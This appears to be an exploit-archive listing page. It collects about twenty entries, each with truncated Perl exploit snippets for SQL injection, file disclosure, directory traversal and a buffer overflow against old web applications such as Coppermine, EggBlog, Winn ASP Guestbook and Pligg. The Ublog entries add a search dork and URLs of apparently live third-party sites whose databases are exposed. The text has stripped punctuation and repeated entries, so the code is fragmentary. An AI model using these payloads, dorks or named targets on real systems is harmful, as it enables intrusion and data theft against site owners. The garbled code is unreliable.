Copermine Photo Gallery 1.4.22 LFI / SQL Injection

!/usr/bin/perl Coppermine Photo Gallery '; banner; $lwp-defaultheader'Accept-Language: en-us,en;q=0.5'; my $html = injrequest' WHERE x'; Wrong query to obtain an error ifnot defined $html print "- Request mistake. Exploit terminated!\n"; exit ; elsif$html = /There was an error while processing a...

Zervit Web Server 0.04 - GET Remote Buffer Overflow (PoC)

Zervit Web Server 0.04 - GET Remote Buffer Overflow PoC !/usr/bin/perl Zervit webserver 0.4 Bof Poc make it just for fun :s use LWP::Simple; use LWP::UserAgent; if @ARGV \n"; print"TARGETS are\n "; print"Example: perl $0 127.0.0.1 777 \n"; exit1; $target, $port = @ARGV; print"Zervit Webserver 0.0...

Mereo 1.8.0 Arbitrary File Disclosure Exploit

No description provided by source. !/usr/bin/perl -w Found By : Cyber-Zone ABDELKHALEK [email protected] Note : Don't use this for your own R!sk :d Thanx To All Friends : Hussin X , Jiko , Stack , SimO-sofT , r1z , ZoRLu , Mag!c ompo , ThE g0bL!N , b0rizq , All MoroCCaN Hackers demo versi...

EggBlog 4.1.1 - Local Directory Traversal

EggBlog 4.1.1 - Local Directory Traversal !/usr/bin/perl eggBlog agent'Lynx textmode'; $lib-timeout5; $response = $lib-get"http://$domain/lib/openwysiwyg/addons/imagelibrary/selectimage.php?dir=$param"; @director = $response-content = /.+?/ig;...

eggBlog <= 4.1.1 Local Directory Transversal Exploit

Exploit for unknown platform in category web applications ==================================================== eggBlog agent'Lynx textmode'; $lib-timeout5; $response = $lib-get"http://$domain/lib/openwysiwyg/addons/imageli...

microTopic v1 (rating) Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ========================================================= microTopic v1 rating Remote Blind SQL Injection Exploit ========================================================= !/usr/bin/perl...

RTWebalbum 1.0.462 (AlbumID) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== RTWebalbum 1.0.462 AlbumID Blind SQL Injection Exploit ======================================================== !/usr/bin/perl...

Ublog access version Arbitrary Database Disclosure Exploit

No description provided by source. !/usr/bin/perl Ublog access version mdb-database/blog.mdb dork : http://www.google.co.ma/search?q=index.asp%3Farchivio%3DOK&hl=fr&start=20&sa=N demos : http://radiologyhunters.com/blog/mdb-database/blog.mdb http://foges.net/mdb-database/blog.mdb...

Winn ASP Guestbook 1.01 Beta Disclosure

!/usr/bin/perl -w Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit Found By : ZoRLu Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye YapamIyorsunuz. istemiyorsunuz isteseniz Sizlerde YaparsIn...

TemaTres 1.0.3 Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================= TemaTres 1.0.3 Remote Blind SQL Injection Exploit ================================================= !/usr/bin/perl...

Winn ASP Guestbook 1.01b Remote Database Disclosure Exploit

Exploit for unknown platform in category web applications =========================================================== Winn ASP Guestbook 1.01b Remote Database Disclosure Exploit =========================================================== !/usr/bin/perl -w Winn ASP Guestbook 1.01 Beta Database...

Ublog access version - Arbitrary Database Disclosure

!/usr/bin/perl Ublog access version mdb-database/blog.mdb dork : http://www.google.co.ma/search?q=index.asp%3Farchivio%3DOK&hl=fr&start=20&sa=N demos : http://radiologyhunters.com/blog/mdb-database/blog.mdb http://foges.net/mdb-database/blog.mdb http://www.geoaurea.it/mdb-database/blog.mdb use...

Winn ASP Guestbook 1.01b - Remote Database Disclosure

Winn ASP Guestbook 1.01b - Remote Database Disclosure !/usr/bin/perl -w Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit Found By : ZoRLu Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye...

Winn ASP Guestbook 1.01b - Remote Database Disclosure

!/usr/bin/perl -w Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit Found By : ZoRLu Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye YapamIyorsunuz. istemiyorsunuz isteseniz Sizlerde...

Uguestbook 1.0b (guestbook.mdb) Arbitrary Database Disclosure Exploit

Exploit for unknown platform in category web applications ===================================================================== Uguestbook 1.0b guestbook.mdb Arbitrary Database Disclosure Exploit ===================================================================== !/usr/bin/perl Uguestbook 1.0...

Baby Web Server 2.7.2.0 Arbitrary File Disclosure Exploit

No description provided by source. !/usr/bin/perl -w Found By : ZoRLu Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye YapamIyorsunuz. istemiyorsunuz isteseniz Sizlerde YaparsInýz Thanks: Str0ke,...

Quick N Easy 3.3.5 File Disclosure

!/usr/bin/perl -w Found By : Cyber-Zone ABDELKHALEK [email protected] Note : Don't use this for your own R!sk :d Thanx To All Friends : Hussin X , Jiko , Stack , SimO-sofT , r1z , ZoRLu , Mag!c ompo , ThE g0bL!N , b0rizq , All MoroCCaN Hackers demo version Tested under my MS WINDOWS sp2...

Baby Web Server 2.7.2.0 - Arbitrary File Disclosure

!/usr/bin/perl -w Found By : ZoRLu Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye YapamIyorsunuz. istemiyorsunuz isteseniz Sizlerde YaparsInýz Thanks: Str0ke, Cyber-Zone, Stack, AlpHaNiX, W0cker,...

Femitter FTP Server 1.03 Arbitrary File Disclosure Exploit

Exploit for windows platform in category remote exploits ========================================================== Femitter FTP Server 1.03 Arbitrary File Disclosure Exploit ========================================================== !/usr/bin/perl Femitter FTP Server 1.03 Arbitrary File Disclosu...

Pligg CMS 9.9.0 - 'editlink.php' Blind SQL Injection

!/usr/bin/perl Pligg v9.9 Blind SQL Injection vuln: editlink.php? SQL Injection: magicquotes off This exploit is possible because the $id variable in checkurl.php is taken from the url and then used in an SQL query without being sanitized. by Rohit Bansal [email protected] www.Schap.Org...